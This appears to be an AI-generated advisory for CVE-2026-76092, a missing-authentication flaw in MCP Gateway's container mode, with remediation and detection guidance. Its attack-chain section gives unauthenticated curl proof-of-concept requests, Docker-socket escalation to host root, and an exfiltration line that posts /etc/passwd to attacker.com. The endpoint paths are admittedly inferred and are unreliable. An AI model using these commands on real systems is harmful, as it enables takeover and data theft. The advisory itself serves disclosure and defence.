CVE-2026-76092 — CWE-306
MCP Gateway allows easy and secure running and deployment of MCP servers. From version 0.25.0 to before version 0.43.1, when the gateway runs in container mode, the bearer-token authentication middleware is never installed, so the HTTP MCP endpoints are served with no authentication. This issue has been patched in version 0.43.1.
MCP Gateway allows easy and secure running and deployment of MCP servers. From version 0.25.0 to before version 0.43.1, when the gateway runs in container mode, the bearer-token authentication middleware is never installed, so the HTTP MCP endpoints are served with no authentication. This issue has been patched in version 0.43.1.
CVE‑2026‑76092 – “MCP Gateway container‑mode bearer‑token bypass”
Published 02 Dec 2026 – CVSS 3.1 Base 9.2 (Critical)
🎯 What is this vulnerability?
| Attribute | Detail |
|---|---|
| CWE | CWE‑306 – Missing Authentication |
| CVSS Vector | CVSS:3.1/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N |
| Affected component | The bearer‑token authentication middleware that protects the HTTP MCP API when the gateway runs in *container mode*. |
| Root cause | In MCP Gateway versions 0.25.0 ≤ v < 0.43.1, the code path that registers the authentication middleware is conditionally skipped when the process detects that it is executing inside a Docker/Kubernetes container. The condition is a simple boolean flag (containerModeEnabled) that is set before the middleware stack is built, but the flag is never reset to false for the “gateway‑only” deployment scenario. Consequently, the HTTP API endpoints (e.g., /api/v1/mcp/*) are exposed without any authentication check – the request reaches the handler directly, bypassing the bearer‑token verification that would normally reject unauthenticated calls.
In short: the authentication layer is never inserted, so any remote client can invoke privileged MCP operations without presenting a valid JWT or OAuth2 bearer token.
⚡ Attack Chain
Below is a realistic, step‑by‑step exploitation flow. All commands are illustrative – the exact URI path (/api/v1/mcp/…) is inferred from the public MCP documentation; if the real deployment uses a different base path, the same technique applies.
1. Discovery & Reconnaissance
| Step | Technique | Expected artefacts |
|---|---|---|
| 1.1 Identify the product | Scan the target IP range for open TCP ports (default MCP Gateway HTTP port 8080 or HTTPS 8443). Use service fingerprinting tools (e.g., nmap -sV -p 8080,8443 <IP>). | Banner: MCP Gateway/0.38.2 (or similar). |
| 1.2 Verify container mode | Query the /healthz or /metrics endpoint (commonly exposed by container‑native services). The JSON payload often contains a field runtime_mode: "container" when the flag is set. | { "runtime_mode": "container", "version": "0.38.2" } |
| 1.3 Confirm vulnerable version | Parse the Server header or a version endpoint (/api/v1/version). If the version is ≥ 0.25.0 and < 0.43.1, the target is vulnerable. | Server: MCP-Gateway/0.38.2 |
2. Exploitation
Because the authentication middleware is missing, any HTTP request to a privileged MCP endpoint is accepted. The most damaging primitive is the /api/v1/mcp/servers endpoint, which allows creation, deletion, and configuration of MCP server instances.
2.1 Example PoC – Create a new MCP server (illustrative)
# -------------------------------------------------
# Illustrative PoC – unauthenticated server creation
# -------------------------------------------------
# Target: http://10.20.30.40:8080
# Endpoint (illustrative): /api/v1/mcp/servers
# Payload: JSON describing the new server
# -------------------------------------------------
curl -sk -X POST "http://10.20.30.40:8080/api/v1/mcp/servers" \
-H "Content-Type: application/json" \
-d '{
"name": "evil‑server",
"image": "mcp/base:latest",
"env": {
"ADMIN_PASSWORD": "P@ssw0rd!",
"SSH_PUBLIC_KEY": "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC..."
},
"resources": {
"cpu": 2,
"memory": "4Gi"
}
}'What happens:
- The HTTP request reaches the internal
ServerCreateHandlerdirectly because the authentication middleware is absent. - The handler validates the JSON schema (which is unrelated to authentication) and spawns a new MCP server container with the supplied environment variables.
- The attacker now controls a privileged container that runs with the same network namespace as the gateway, giving them full read/write access to the internal Docker socket (if the gateway is configured with
--docker-socket=/var/run/docker.sock) and the ability to pivot to the host.
2.2 Alternative high‑impact actions
| Action | Illustrative endpoint | Payload (curl) |
|---|---|---|
| Delete an existing server | DELETE /api/v1/mcp/servers/<server-id> | curl -X DELETE "http://10.20.30.40:8080/api/v1/mcp/servers/12345" |
| Execute arbitrary command inside a server | POST /api/v1/mcp/servers/<id>/exec | curl -X POST "http://10.20.30.40:8080/api/v1/mcp/servers/12345/exec" -d '{"cmd":["/bin/sh","-c","id"]}' |
| Read configuration files | GET /api/v1/mcp/config | curl "http://10.20.30.40:8080/api/v1/mcp/config" |
All of the above succeed without any Authorization: Bearer <token> header because the middleware never checks it.
3. Post‑exploitation
1. Privilege escalation inside the host – If the gateway runs with the Docker socket mounted (common for “container mode” deployments), the attacker can issue Docker API calls via the newly created server’s privileged container, e.g.:
# Inside the malicious server container
curl -s --unix-socket /var/run/docker.sock http:/v1.41/containers/jsonThis yields a list of all containers, and the attacker can start a host‑networked privileged container (--privileged --pid=host) to gain root on the host.
2. Persistence – Deploy a systemd service or a cron job inside the host via the Docker API that re‑creates the malicious container on reboot.
3. Data exfiltration – Use the privileged container to mount host file systems (/etc, /var/lib/mysql, etc.) and copy sensitive data to an attacker‑controlled server (e.g., via curl -F "file=@/etc/passwd" http://attacker.com/upload).
4. Lateral movement – The compromised host often runs other micro‑services on the same Docker network; the attacker can reach them directly from the malicious container, enumerating internal APIs and credentials.
🌍 Real‑World Impact
| CIA Triad | Impact (derived from CVSS) |
|---|---|
| Confidentiality (C) | High – Unauthenticated access allows reading of all MCP configuration, secrets (environment variables, stored credentials), and any host files reachable via the Docker socket. |
| Integrity (I) | High – Attackers can create, modify, or delete MCP server instances, alter deployment configurations, and inject malicious containers that run arbitrary code. |
| Availability (A) | High – Deleting critical MCP servers or flooding the Docker daemon with resource‑exhausting containers can cause denial‑of‑service for the entire orchestration platform. |
Practical consequences
🛡️ Remediation & Mitigation
1. Patch / Upgrade
| Affected versions | Fixed in |
|---|---|
0.25.0 ≤ MCP Gateway < 0.43.1 (container mode) | 0.43.1 – authentication middleware is always registered, regardless of runtime mode. |
Action: Upgrade every MCP Gateway instance to ≥ 0.43.1. Verify the version post‑upgrade via /api/v1/version or the Server header.
2. Immediate Workarounds (if patch cannot be applied)
| Mitigation | Implementation details |
|---|---|
| Network isolation | Restrict inbound traffic to the MCP HTTP/HTTPS ports to trusted management subnets only (e.g., using firewall rules: iptables -A INPUT -p tcp -s 10.0.0.0/8 --dport 8080 -j ACCEPT; iptables -A INPUT -p tcp --dport 8080 -j DROP). |
| Disable container‑mode flag | Start the gateway with --container-mode=false (or remove the environment variable that triggers it). This forces the code path that registers the authentication middleware. |
| Remove Docker socket exposure | If the gateway does not need to manage containers directly, unmount /var/run/docker.sock from the container (docker run … -v /var/run/docker.sock:/var/run/docker.sock → remove the -v flag). |
| Enforce external authentication | Deploy an edge reverse‑proxy (NGINX, Envoy) that terminates TLS and validates a static API key or client certificate before forwarding traffic to the gateway. Example NGINX snippet:
server {
listen 8443 ssl;
ssl_certificate /etc/nginx/certs/gw.crt;
ssl_certificate_key /etc/nginx/certs/gw.key;
# Require a pre‑shared API key
if ($http_x_api_key != "d3f3n53cR3tK3y") {
return 403;
}
location / {
proxy_pass http://127.0.0.1:8080;
proxy_set_header Host $host;
}
}|
| ModSecurity rule (if a WAF sits in front) |
SecRule REQUEST_HEADERS:Authorization "^Bearer\s+.+$" "id:1000010,phase:1,pass,nolog,ctl:ruleEngine=On"
SecRule REQUEST_URI "@beginsWith /api/v1/mcp/" "id:1000011,phase:2,deny,status:401,log,msg:'MCP API accessed without bearer token (CVE‑2026‑76092)'" \
"chain"
SecRule &REQUEST_HEADERS:Authorization "@eq 0"This rule explicitly denies any request to the MCP API that lacks an Authorization header, providing a defense‑in‑depth layer even if the gateway itself is vulnerable.
3. Detection
| Indicator | Log example | Comment |
|---|---|---|
Unauthenticated access to /api/v1/mcp/ | 10.20.30.40 - - [12/Oct/2026:03:14:22 +0000] "POST /api/v1/mcp/servers HTTP/1.1" 201 84 "-" "-" | No Authorization header present. |
| Rapid creation of many containers | POST /api/v1/mcp/servers 201 123 "-" "curl/7.88.1" (repeated >10 times per minute) | Possible automated abuse. |
| Docker socket usage from inside a container | container_id=abc123 docker.sock accessed by uid=0 (auditd) | Indicates a malicious container leveraging the host Docker daemon. |
| Outbound connections to unknown IPs from newly created containers | iptables -A OUTPUT -d 203.0.113.45 -j ACCEPT (observed via host netflow) | Data exfiltration attempt. |
SIEM rule (generic):
event.type = "http_access"
and http.request.uri contains "/api/v1/mcp/"
and not http.request.headers.Authorization existsTrigger an alert with severity Critical.
⚠️ Urgency
Patch priority: Urgent – “Critical”.
Deploy the fix (≥ 0.43.1) within 24 hours for any internet‑facing or internal gateway that runs in container mode.
If immediate patching is impossible, apply the network isolation and authentication‑enforcing WAF/proxy mitigations immediately, then schedule the upgrade as the top item on the change‑management backlog.
Bottom line: The missing bearer‑token middleware in MCP Gateway container mode effectively removes all authentication from the management API, granting unauthenticated attackers full control over the orchestration platform and, in most deployments, root on the host. Patch to 0.43.1 without delay, and enforce defense‑in‑depth controls while the upgrade is in progress.
[🤖 CVE Professor AI Security Engine]